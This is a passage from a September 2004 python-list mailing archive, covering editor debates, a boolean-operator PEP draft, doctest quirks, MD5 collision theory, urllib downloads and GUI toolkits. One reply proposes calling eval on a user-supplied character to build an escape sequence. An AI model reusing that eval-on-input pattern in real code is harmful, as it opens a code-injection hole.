vi/vim quite often). If the Python community had only the ide=idiot guys this would be the most serious threat for Python's survival. :) -- ------------------------------------------------------------------- Peter Maas, M+R Infosysteme, D-52070 Aachen, Tel +49-241-93878-0 E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64') ------------------------------------------------------------------- From greg at cosc.canterbury.ac.nz Sun Sep 5 21:24:44 2004 From: greg at cosc.canterbury.ac.nz (greg) Date: Mon, 06 Sep 2004 13:24:44 +1200 Subject: Proto-PEP: Overloadable Boolean Operators References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <mailman.2901.1094397464.5135.python-list@python.org> Message-ID: <413BBC5C.2020405@cosc.canterbury.ac.nz> Miki Tebeka wrote: > > Why not just __bool__(self) -> True, False? > IMO this will answer all of your needs and will require less changes. Have you read any of the rationale in the PEP? The whole reason for this is that overriding __bool__ is *not* sufficient for the use cases I have in mind. Greg From SBrunning at trisystems.co.uk Fri Sep 10 09:43:14 2004 From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk) Date: Fri, 10 Sep 2004 14:43:14 +0100 Subject: Build a project from the script using popen3 Message-ID: <9EED4A0E5EFBD811901100600846864D0610EB@intrepid> > From: Larry Bates [mailto:lbates at swamisoft.com] > > You may have more success using the mangled (8.3) > directory names in your pathnames. The ones with > spaces in them (e.g. Program Files) is the problem. > On my machine the mangled name for Program Files is > Progra~1 (they can be seen with dir /x command at > command prompt). There may be another way to use > the long filenames, but I'll bet this will be the > easiest. Try win32api.GetShortPathName() Cheers, Simon B. simon at brunningonline.net http://www.brunningonline.net/simon/blog/ ----------------------------------------------------------------------- The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution, or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot accept liability for statements made which are clearly the senders own. From aleaxit at yahoo.com Tue Sep 21 09:26:37 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 21 Sep 2004 15:26:37 +0200 Subject: flat tuple References: <41501751$0$22757$db0fefd9@news.zen.co.uk> <mailman.3638.1095768408.5135.python-list@python.org> Message-ID: <1gkgys2.vmoski6n9kw9N%aleaxit@yahoo.com> Phil Frost <indigo at bitglue.com> wrote: > Tuples can be joined with the + operator, like so: > > >>> (1,2)+(3,4) > (1, 2, 3, 4) > > so in your case, you could do (n,) + t. If you are using the result for > % formatting, it might be better to use a list, which is mutable, so Might be, but % wants a tuple as the RHS (assuming the LHS format string has multiple %-formatting elements), NOT a list. Alex From jmfbahciv at aol.com Wed Sep 1 08:09:01 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 01 Sep 04 12:09:01 GMT Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com> <aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com> Message-ID: <4135cea1$0$19726$61fed72c@news.rcn.com> In article <aN2Zc.10226$QJ3.5466 at newssvr21.news.prodigy.com>, red floyd <no.spam at here.dude> wrote: >CBFalconer wrote: > >> Dump Notepad and get Textpad. www.textpad.com. First class. >> > >Let the editor flame wars begin! > >Get gvim! www.vim.org You think notepad is an editor? <snort> You must be young and inexperienced in the ways of Real Man's Editing sports. /BAH Subtract a hundred and four for e-mail. From esj at harvee.org Thu Sep 2 08:24:13 2004 From: esj at harvee.org (Eric S. Johansson) Date: Thu, 02 Sep 2004 08:24:13 -0400 Subject: mbox mail handling In-Reply-To: <pan.2004.09.01.03.53.08.117979@yahoo.com> References: <pan.2004.09.01.03.53.08.117979@yahoo.com> Message-ID: <ch73dt$q1q$1@sea.gmane.org> John Doe wrote: > I'm looking for some help to: > access a /var/spool/mail/userbox, which should have 5 or more messages. > > parse each message into mhlib.Message format. So I can pull docs and > pictures out of each mail message. > > Anybody got a suggestion, two or three? here are two: for read only handling of your mailboxes http://docs.python.org/lib/module-mailbox.html for handling individual e-mail messages: http://docs.python.org/lib/module-email.html From greg at cosc.canterbury.ac.nz Sun Sep 5 08:09:08 2004 From: greg at cosc.canterbury.ac.nz (greg) Date: Mon, 06 Sep 2004 00:09:08 +1200 Subject: Proto-PEP: Overloadable Boolean Operators References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <mailman.2891.1094383377.5135.python-list@python.org> Message-ID: <413B01E4.8030002@cosc.canterbury.ac.nz> Andrew Durdin wrote: > If I understand this correctly, then logical operations on instances > of the following class should duplicate the existing behaviour for the > boolean type -- is this correct? > > def __and2__(self, other): > return self That should be return other and similarly for __or2__. Otherwise it looks right. > The PEP doesn't explicitly describe when __rand2__ (or __ror2__) is > used. I'd guess that it will be called for (A and B) when A defines > neither __and1__ nor __and2__ -- is this correct? Not exactly. It will get called whenever the second operand is needed, the first operand doesn't define __and2__, and the second operand does define __rand2__. The exact rules are rather complicated to state completely. I have some text which spells it all out in mind-numbing detail, but I left it out of the first draft of the PEP for fear of scaring people off before I'd got the idea across. Perhaps I'll include it as an appendix or something. Greg From db3l at fitlinxx.com Fri Sep 3 14:24:21 2004 From: db3l at fitlinxx.com (David Bolen) Date: 03 Sep 2004 14:24:21 -0400 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <mailman.2807.1094184160.5135.python-list@python.org> <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> Message-ID: <uk6vbmcru.fsf@fitlinxx.com> aleaxit at yahoo.com (Alex Martelli) writes: > I do assume that it's easy to keep the hundreds of tests almost > unchanged, to avoid having to maintain them separately in two versions, > and support 2.3 and 2.4 with localized changes to the small spots where > the tests are run...? At least when I ran it, the tests themselves (the doctest.testmod) calls worked fine. The rand exceptions seemed to just be a difference in reporting in 2.4, for example most of them were of the form: - - - - - - - - - - - - - - - - - - - - - - - - - Failure in example: r('error',1,2,3) from line #2 of gmpy_test_rnd.rand in e:\usr\src\gmpy\test\gmpy_test_rnd.pyc Expected: Traceback (most recent call last): File "<string>", line 1, in ? TypeError: function takes exactly 2 arguments (4 given) Got: Traceback (most recent call last): TypeError: function takes exactly 2 arguments (4 given) - - - - - - - - - - - - - - - - - - - - - - - - - However, when I try one of those tests interactively, Python 2.4 seems to give me the "File" line too (indented, but it's also indented under 2.3, so I'm assuming the lack of indentation is unimportant to doctest). So I guess I can't say for sure that this isn't something impacted by a change in doctest. The doctest module docs for both 2.3 and 2.4 seem to imply it should only be checking the exception type/value (the last line), so I guess I don't know why it's failing. At least to me it seems clearly to be the right exception. The one failure that I don't think you could easily anticipate is a change in the actual exception message - for example the "r('shuf', 'astring')" test wants a TypeError saying "object doesn't support item assignment", but 2.4 changes that to "object does not support item assignment". -- David From sholden at flexal.cs.usyd.edu.au Sun Sep 12 23:16:17 2004 From: sholden at flexal.cs.usyd.edu.au (Sam Holden) Date: 13 Sep 2004 03:16:17 GMT Subject: MD5 and SHA cracked/broken... References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> <slrncka03t.2a1q.kirk@eyegor.jobsluder.net> <7xacvuyjfn.fsf@ruckus.brouhaha.com> <slrncka36l.7cc.sholden@flexal.cs.usyd.edu.au> <7xzn3udfsg.fsf@ruckus.brouhaha.com> Message-ID: <slrncka481.7g1.sholden@flexal.cs.usyd.edu.au> On 12 Sep 2004 20:11:11 -0700, Paul Rubin <> wrote: > Sam Holden <sholden at flexal.cs.usyd.edu.au> writes: >> Creating a collision between a "useful" file which people can >> examine and use and a "trojan" file which does "bad things" is >> significantly more difficult than creating two files whose >> MD5 sums collide but whose contents are essentially "random". > > Of course it's not. Just have a block of random-looking data > somewhere in the file, like in a bitmap image or something. Who's > going to notice, if the bitmap doesn't actually get displayed? Creating a collision of files containing some desired data plus a block of "random" data is different than creating collisions of files that contain purely "random" data. You can do both via brute force, generate until I find a match, approaches given enough time. But a crack against the algorithm may be not work for the "desired data" case - it may just give "random" byte sequences. -- Sam Holden From aleaxit at yahoo.com Tue Sep 14 17:01:21 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 23:01:21 +0200 Subject: My first attempt at subclassing....Gahh! References: <95c29a5e.0409131910.5c916122@posting.google.com> <1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com> <mailman.3322.1095185945.5135.python-list@python.org> Message-ID: <1gk4kzx.kwspzzcduo5zN%aleaxit@yahoo.com> John Lenton <john at grulic.org.ar> wrote: ... > > save_stdout = sys.stdout > > I believe sys.__stdout__ is there for the purpose of not having to > 'save' sys.stdout in this way. Hmmm, almost, but not quite. If you somehow "know" that your sys.stdout has not been set by some other module, typically a GUI framework, then, sure, you don't need to copy sys.stdout yourself. But if you get into that habit, eventually you WILL get bitten, when you end up interfering with exactly that kind of "other framework". Personally, I far prefer to cultivate the habit of a full-fledged idiom such as: redirected_stdout = cStringIO.StringIO() save_stdout = sys.stdout sys.stdout = redirected_stdout try: ...something that does prints... finally: sys.stdout = save_stdout ...use redirected_stdout.value... redirectred_stdout.close() Alex From fumanchu at amor.org Tue Sep 7 10:20:48 2004 From: fumanchu at amor.org (Robert Brewer) Date: Tue, 7 Sep 2004 07:20:48 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs)(was:Announcing PyCs, a new Python-like language on .Net) Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EC2@exchange.hqamor.amorhq.net> Mark Hahn wrote: > On Mon, 06 Sep 2004 23:07:03 -0700, Erik Max Francis wrote: > > > Did Google stop working suddenly? > > I googled at length and missed Data Explorer for "dx". It > came in way too far down in the list, even when I added > "software" and/or "language". You also would have missed Microsoft's biggest use of DX, a shortcut for DirectX. Lots of the DirectX projects received short names like "dxmedia" and "dxsound". FuManChu From ian at cottee.org Wed Sep 15 09:10:04 2004 From: ian at cottee.org (Ian J Cottee) Date: Wed, 15 Sep 2004 22:10:04 +0900 Subject: i am going to get crazy!!! In-Reply-To: <mailman.3360.1095251619.5135.python-list@python.org> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> <mailman.3342.1095212808.5135.python-list@python.org> <fn2l12-pp4.ln1@suse.zobbo.org> <mailman.3360.1095251619.5135.python-list@python.org> Message-ID: <eirl12-n6a.ln1@suse.zobbo.org> Carlos Ribeiro wrote: > On Wed, 15 Sep 2004 15:06:04 +0900, Ian J Cottee <ian at cottee.org> wrote: >> >>Must resist religious wars. Must resist religious wars BUT :-) ... Emacs >>*is* an IDE. More integrated than many others. And to be fair VIM is an >>IDE. > > Ian, I sincerely don't want to spawn a religious war. That's why I > made my point clear: there are two types (classes?) of developers, and > there's nothing wrong with it -- it's just a matter of choice, > dictated to a great extent by their particular needs. > Well - I did put a smiley in but ... awwwww. What'a a little religious war between friends? ;-). > Now, while *great* for what it's proposed to do, Emacs is not an IDE, > in the sense that people that actually use IDEs mean. It's an editor > (and a powerful one at this), but it's not an IDE. What *I* (and > other IDE-lovers) mean when mentioning IDE is a different type of > software. I think my problem with your comments is you think the world is split between those who 'get' IDEs and those who don't. I think the first IDE I ever used was Think C on the Mac. Since then I've used quite a few - the most commonly known was Delphi which fulfilled most of your criteria from below. For full integration I'll shudder at the memories of VB and Access. Now, I was going to comment on the remaining points you made but I'll start sounding religious again. ;-). Honestly, I understand what you are after (well, I believe I do) - it's probably similar to what I am after as well. I haven't found it and therefore use Emacs. Somebody else commented a few weeks back that they'd thrown away all their fancy tools and gone back to just using Scintilla and were more productive for it. I think I can understand that. Sometimes I spend so much time modifying modes and tweaking settings that productivity slumps. I should stop my quest and get on with some work. Ian PS You have a very well written blog. I'm enjoying reading it. PPS For the record, I use wxDesigner for wxPython form design. http://www.roebling.de/. It's commercial but cheap. From calvin at ironfroggy.com Wed Sep 22 07:06:48 2004 From: calvin at ironfroggy.com (Calvin Spealman) Date: Wed, 22 Sep 2004 11:06:48 +0000 Subject: Python in client side web applications References: <b7Z3d.300693$vG5.71081@news.chello.at> Message-ID: <2130187.Tc0vfoBgnC@ironfroggy.com> Sergio Lobo wrote: > Does any of you have experience using Python for the development of client > side web applications? I found a Web Browser that comes with Python to > provide embedding. I gave it a try but I would like to know if some of you > have tried it as well or have tried some other tool. Could always give Jython a try. Although I would love to see Python running on every major browser and replacing Javascript/EMCAScript, I know that is either not going to happen or going to happen a long ways off. From edstar at optonline.net Wed Sep 15 19:30:26 2004 From: edstar at optonline.net (Eddie) Date: 15 Sep 2004 16:30:26 -0700 Subject: How Can I overide a function in an existing class References: <af86cbe6.0409141639.62ce53ad@posting.google.com> <huCdnXpcC8yGC9rcRVn-sg@powergate.ca> Message-ID: <af86cbe6.0409151530.215d0db8@posting.google.com> > Trivialized example that I hope gives you the idea: > > # in your own file > > import BaseHTTPServer > def replacementMethod(self): > # only the good stuff > > BaseHTTPServer.SomeClass.someMethod = replacementMethod > > Any help? > > -Peter Thanks Peter. This is exactly what I was looking for. It works perfectly and is very simple. Thanks again Eddie From rpw3 at rpw3.org Sun Sep 5 03:00:20 2004 From: rpw3 at rpw3.org (Rob Warnock) Date: Sun, 05 Sep 2004 02:00:20 -0500 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <87d613mckn.fsf@k9.prep.synonet.com> <4139b0e3$0$19717$61fed72c@news.rcn.com> <87vfeut0at.fsf@k9.prep.synonet.com> Message-ID: <OJudnTfixegZJKfcRVn-gA@speakeasy.net> Paul Repacholi <prep at prep.synonet.com> wrote: +--------------- | jmfbahciv at aol.com writes: | > huh..The why did I have to do TTY:_DT0:/L or LPT:_DT0:/L to get | > directories? And to print a file on the line printer required the | > PIP command LPT:_DSK:FOO.FOR | | My bad... I claim bit rot of the grey stuff... | Yes DIR and friends came later, post or part of(?) COMPIL. +--------------- Yes, but... Wasn't COMPIL (at least a simple for of it) introduced before or sometime during 4S72? We didn't switch from 4.x to 5.x until 5.02d (or so) IIRC, and I *thought* we used COMPIL earlier than that. [But brain rot gets us all in the end...] -Rob ----- Rob Warnock <rpw3 at rpw3.org> 627 26th Avenue <URL:http://rpw3.org/> San Mateo, CA 94403 (650)572-2607 From pfortin at pfortin.com Tue Sep 14 20:57:06 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Tue, 14 Sep 2004 20:57:06 -0400 Subject: Need script to download file at known address References: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com> Message-ID: <20040914205706.0702cb6c@gypsy.pfortin.com> On Wed, 15 Sep 2004 00:00:21 GMT Radioactive wrote: > I am fairly new to the latest verion of Python and using it on windows > 95, 2000, and/or XP. What libraries, modules, functions, etc. would I > need to set up a Python script to download a file, say > "htttp://www.sound.com/files/bob.wav" to my own hard drive at > "c:\sound\bob.wav"? > > I haven't found any good examples of such an operation in the > documentation at the Python website. Any suggestions are appreciated. > Thanks. See: 11. Internet Protocols and Support at http://python.org/doc/2.3.4/lib/lib.html In this example, Yahoo uses 00=Jan, so 08=Sep... >>> from urllib import urlopen >>> URL1 = "http://ichart.finance.yahoo.com/table.csv?" >>> URL2 = "s=IBM&a=08&b=14&c=2004&d=08&e=14&f=2004&g=d&ignore=.csv" >>> urlopen("%s%s" % (URL1,URL2)).readlines() ['Date,Open,High,Low,Close,Volume,Adj. Close*\n', '14-Sep-04,86.60,86.88,86.15,86.72,3953500,86.72\n', '<!-- ichart9.finance.dcn.yahoo.com uncompressed Tue Sep 14 17:55:33 PDT 2004 -->\n'] >>> From grante at visi.com Wed Sep 29 23:52:44 2004 From: grante at visi.com (Grant Edwards) Date: 30 Sep 2004 03:52:44 GMT Subject: constructing binary backslash-n References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net> <1f7befae04092919484211a3bb@mail.gmail.com> <mailman.4114.1096514611.5135.python-list@python.org> Message-ID: <415b830c$0$8147$a1866201@newsreader.visi.com> On 2004-09-30, Steven Arnold <stevena at neosynapse.net> wrote: > I want to be able to receive a letter like 'n', let's say as user > input, and generate the single byte escape value of backslash-n or > ASCII 10, as a string of length 1. If the user provided the letter > 'r', I would return a string one character long, for which > ord(my_string) == 13. This should be equivalent to the string > '<backslash>r'. eval(r"'\%s'" % c) where c is the single character string in question (e.g. "r" or "n" or whatever). -- Grant Edwards grante Yow! I love ROCK 'N at ROLL! I memorized the visi.com all WORDS to "WIPE-OUT" in1965!! From robin.siebler at palmsource.com Mon Sep 13 14:37:46 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 13 Sep 2004 11:37:46 -0700 Subject: Best way to compare the contents of two directories References: <95c29a5e.0409111640.6980271f@posting.google.com> <Zxc1d.412$W73.185@trndny03> Message-ID: <95c29a5e.0409131037.430cbce8@posting.google.com> "Raymond Hettinger" <vze4rx4y at verizon.net> wrote in message news:<Zxc1d.412$W73.185 at trndny03>... > [Robin Siebler] > > However, before I actually compare the files, I want to compare the > > directories and if a directory is mising in either set, I want to > > report it: > > The operative word is "set". > > Try using sets.py: > one_only = Set(dirlistone) - Set(dirlisttwo) > two_only = Set(dirlisttwo) - Set(dirlistone) > > > Raymond Hettinger I get the following error: NameError: name 'Set' is not defined I'm using ActivePython 2.2.3. Is this something that has been added to a later version of Python? From bsmatt at gmail.com Thu Sep 23 10:52:18 2004 From: bsmatt at gmail.com (bmatt) Date: 23 Sep 2004 07:52:18 -0700 Subject: Multiple Interpreters In a Single Thread Message-ID: <efd29696.0409230652.8c6f748@posting.google.com> I am trying to support multiple interpreter instances within a single main application thread. The reason I would like separate interpreters is because objects in my system can be extended with python scripts via a well defined interface (i.e. The onCreate script will be called when the object is created). So...Is it necessary to use multiple interpreters since each script I import will be given its own module name and therefore the predefined functions can be resolved using that module name? If it is necessary then how is this accomplished? I have tried using Py_NewInterpreter() but have been getting a strange crash (invalid thread state). Another concern I have is that I would like to be able to support scripts defining their own application loop like functions. These functions will need to be able to pause and wait for the next application loop iteration before continuing. So...is there a way to stop the interpreter ( via a call to an application defined function like system.waitIteration() ), save the state of the interpreter and continue processing when the application says it is ready? I know these are kind of high level and vague questions but I am just in the proof of concept and design phase and need to make sure some of my ideas are feasible. Any information would be appreciated. Thanks From english at spiritone.com Mon Sep 13 12:18:27 2004 From: english at spiritone.com (Josh English) Date: Mon, 13 Sep 2004 09:18:27 -0700 Subject: Binding? problem In-Reply-To: <4144ac84$1@nntp0.pdx.net> References: <cht54g0jhl@enews1.newsguy.com> <4144ac84$1@nntp0.pdx.net> Message-ID: <ci4h9b02cgg@enews2.newsguy.com> Scott David Daniels wrote: > Josh English wrote: > >> I'm working on a Stack based language that can import methods from >> predefined libraries. Here's what I mean.... >> > Tell us more about the problem you are trying to solve. Normally you'd > do this on classes. Why doesn't this work?: > What I want to do is have a class method that takes methods from one class and applies them to the class instance, overriding the 'self' in the method from the Library class to the Runner class. I'm looking for a way to do this dynamic importing: class Library: ... methods that have 'self' calls r = Runner() r.Import(Library) r should now have the methods in the library. Josh English From carribeiro at gmail.com Tue Sep 21 14:07:30 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 15:07:30 -0300 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <loom.20040921T192348-961@post.gmane.org> References: <864d370904092109509df67ee@mail.gmail.com> <loom.20040921T192348-961@post.gmane.org> Message-ID: <864d37090409211107302ef8a5@mail.gmail.com> On Tue, 21 Sep 2004 17:24:48 +0000 (UTC), Steven Bethard <steven.bethard at gmail.com> wrote: > Could you give an example of a list that you'd like to do this to? I'm still > having trouble imagining a list of disparate types that I call sort on... Assume that you're implementing a spreadsheet like application in Python. The user fills a column with arbitrary data, and asks for it to be sorted. What is the sorting order? Excel, for instance, defines an ordering (it's arbitrary, but it's deterministic). Let me put it another way: sort() should work regardless of the list elements, and return a reasonable result, even if not strictly correct in the numerical sense. And my last argument, and probably the most controversial one, and the one that will see me tortured, killed and nailed to the city door for visitors to see what happen with people that pushes the social limits :-) Mathemathically speaking: sort() is not a topological sort (which works with partial ordering); it implements total ordering (any two members of the set can be compared). The set, in this particular case, is a Python list, that *can* contain arbitrary data. So it does not make sense (in my not-so-humble opinion) for sort to impose restrictions based on the list element type. (BTW, if we extend this reasoning, the same could be said for other types of functions that work over sets -- sum() should ignore non-numeric values, etc. But that's another philosophical battle) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From python-url at phaseit.net Tue Sep 7 16:31:25 2004 From: python-url at phaseit.net (Cameron Laird) Date: Tue, 07 Sep 2004 20:31:25 +0000 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 7) Message-ID: <mailman.2999.1094593912.5135.python-announce-list@python.org> QOTW: "The Canvas widget has amazed me with its flexibility and power: I love it!" -- Marc Boeren "For some kind of applications (namely application doing vector drawing), it is nearly impossible to consider anything else than Tkinter *because* of the Canvas widget..." -- Eric Brunel Unit testing lies near Pythonia's heart. Tim Peters and Michele Simoniato exhibit modern ways of thinking about doctest and unittest. http://groups.google.com/groups?frame=left&th=461cc8799e9fe825 Hyperlink extraction is one of the examples the pyparse distribution works out. http://groups.google.com/groups?frame=left&th=55d9cd9980ca727c Guido speaks--on decorators, J2, and how to steward Python responsibly. Important reading: http://article.gmane.org/gmane.comp.python.devel/63486 Jonathon Ellis automates RSS for Python job listings. http://groups.google.com/groups?selm=mailman.2701.1093995339.5135.python-announce-list%40python.org The state-of-Python-art under MacOS advances rapidly. Here's how to access a keychain: http://bdash.bluewire.net.nz/2004/08/30/example-code-mac-os-x-keychain-access-from-python/ ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Brett Cannon continues the marvelous tradition established by Andrew Kuchling and Michael Hudson of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Business Forum "further[s] the interests of companies that base their business on ... Python." http://www.python-in-business.org Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Cetus collects Python hyperlinks. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. E-mail to <Python-URL at phaseit.net> should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask <claird at phaseit.net> to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From aleaxit at yahoo.com Sat Sep 4 05:00:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:28 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <opsdq5katd35jo5o@news.gmane.org> <mailman.2830.1094218412.5135.python-list@python.org> Message-ID: <1gjjxns.siljhqnyugnuN%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: > Mostly agreed. There is an inconsistence, as sorted() and reversed() > should return both the same type of result - be it a sequence or a > iterator. "A foolish consistency is the hobgoblin of a small mind" (Emerson?) or something like that. reversed doesn't NEED to build a sequence in memory so it's fit and proper that it returns an iterator. sorted DOES need to build a new list in memory, so it would be a waste to have it return an iterator on the list (no gain if you're only looping, a net loss if you're going to call 'list(sorted(foolist))'... a black eye to nothing!). > 1) sorted() and reversed() should return sequences. So sorted() stays > like it, and reversed() meaning is changed. Now, that could > potentially break a lot of code, but probably this is not going to > happen -- because in most situations, reversed() is getting called It's not going to break MUCH code ("just" that relying on being able to call .next() on reversed's value) and if breakage should be needed now (before alphas turn to betas) is THE time. But the issue is another: wanton waste of memory pursuing "a foolish consistency". Practicality beats purity. > 2) add two new builtins, called respectively xsorted() and > xreversed(), as the iterator versions of sorted() and reversed(). This > way we keep the existing naming convention for range() and xrange(). That naming convention is one of Python's warts and the LAST thing we want is to reinforce it. Note that the names in itertools all start with 'i', sensibly, not with an absurd 'x' to honor xrange! > > <opinion> > > I would like to see Python introducing a naming scheme for built-ins. Ruby > > for example uses the ! to indicate an in-place function [sort() vs. > > sort!()]. I know, that the exclamation mark is out of discussion but I > > would appreciate to have a clear and distinct function naming (Explicit is > > better than implicit). I agree -- that was one of the several things I liked in Prothon's (RIP) changes over Python: bang and question allowed as the LAST character of an identifier (only), with the universal convention of bang meaning "modifies arguments" (typically the implied argument 'self') and question meaning "returns a boolean value" (a predicate, in other words). Maybe there's a hope for that in Python 3.0 (would break no code: bang is only a prefix operator, question is not a character Python uses at all currently). If we can't have bang and question I doubt any other convention is worth the bother. Alex From carribeiro at gmail.com Sat Sep 18 09:13:53 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 18 Sep 2004 10:13:53 -0300 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? In-Reply-To: <slrnckoabl.mb3.mlh@furu.idi.ntnu.no> References: <a5415304.0409160644.41adea51@posting.google.com> <cicqq7$kra$2@news-reader4.wanadoo.fr> <cicsha$prl@odbk17.prod.google.com> <cid5as$u3j$1@news-reader2.wanadoo.fr> <cc887c1d.0409162041.1433bac1@posting.google.com> <pan.2004.09.18.07.53.35.276252@virgilio.it> <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> <slrnckoabl.mb3.mlh@furu.idi.ntnu.no> Message-ID: <864d37090409180613135d02de@mail.gmail.com> On Sat, 18 Sep 2004 12:26:29 +0000 (UTC), Magnus Lie Hetland <mlh at furu.idi.ntnu.no> wrote: > Anygui succeeded as a proof of concept, but the burden of sustained > support and development for many toolkits did make it very impractical > to keep things going. At the moment the project is effectively on ice. It's a shame. I've looked at it a few days ago, and I was actually wondering if the development had stopped -- the newest news on the site are quite old, in fact. > If Greg can make a reasonably full-featured system (which isn't too > hard to install/compile and has a native look on the major platforms) > I think that would be a major step toward a 'standard' GUI package for > Python. If not, there are existing packages (e.g. wx) that work very > well -- perhaps there really isn't a need for anything more standard > than that? I'm hedging my bets on a related (but different) approach. I'm writing business apps, and the style of interaction that I'm using doesn't require a high degree of customization. It's a subset of the full GUI approach, using simple data-entry forms and very little "live" features. I want to be able to provide both native and browser based frontends. The two versions do not need to work exactly the same way; for example, some features may only be available on the native front-end, but the API must degrade nicely in the case of unsupported features. How is it going to work? My idea is to have some kind of form description API, with hooks for validation and live data lookups. The engine will take care of the rendering either any of the frontends. I'm doing some experiments with wxPython and DHTML, and the results are promising. In a way, it's AnyGUI revisited with a web twist :-) The biggest problem with this kind of approach is not handling the visual differences between different toolkits. There are workable solutions for automatic layout, or to port common widgets between the wxWidgets and the browser-based versions. The biggest issue is how to handle architectural differences between a browser based app -- where there is a clear separation betwen the server and client code -- and the wxWidgets version, where no such separation is assumed. My intention is to make the wxWidgets version mimic the browser-one in this respect. For simple apps this is not as big an issue as one might think, but for more complex ones, it may have a cost in terms of flexibility and interactivity. For now, I'm still experimenting. But it's being interesting to explore both the similarities and the differences between the two models, and what types of tricks can be used to bring the two together. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From frithiof.jensen at diespammerdie.jensen.tdcadsl.dk Mon Sep 20 03:47:46 2004 From: frithiof.jensen at diespammerdie.jensen.tdcadsl.dk (Frithiof Andreas Jensen) Date: 20 Sep 2004 07:47:46 GMT Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> 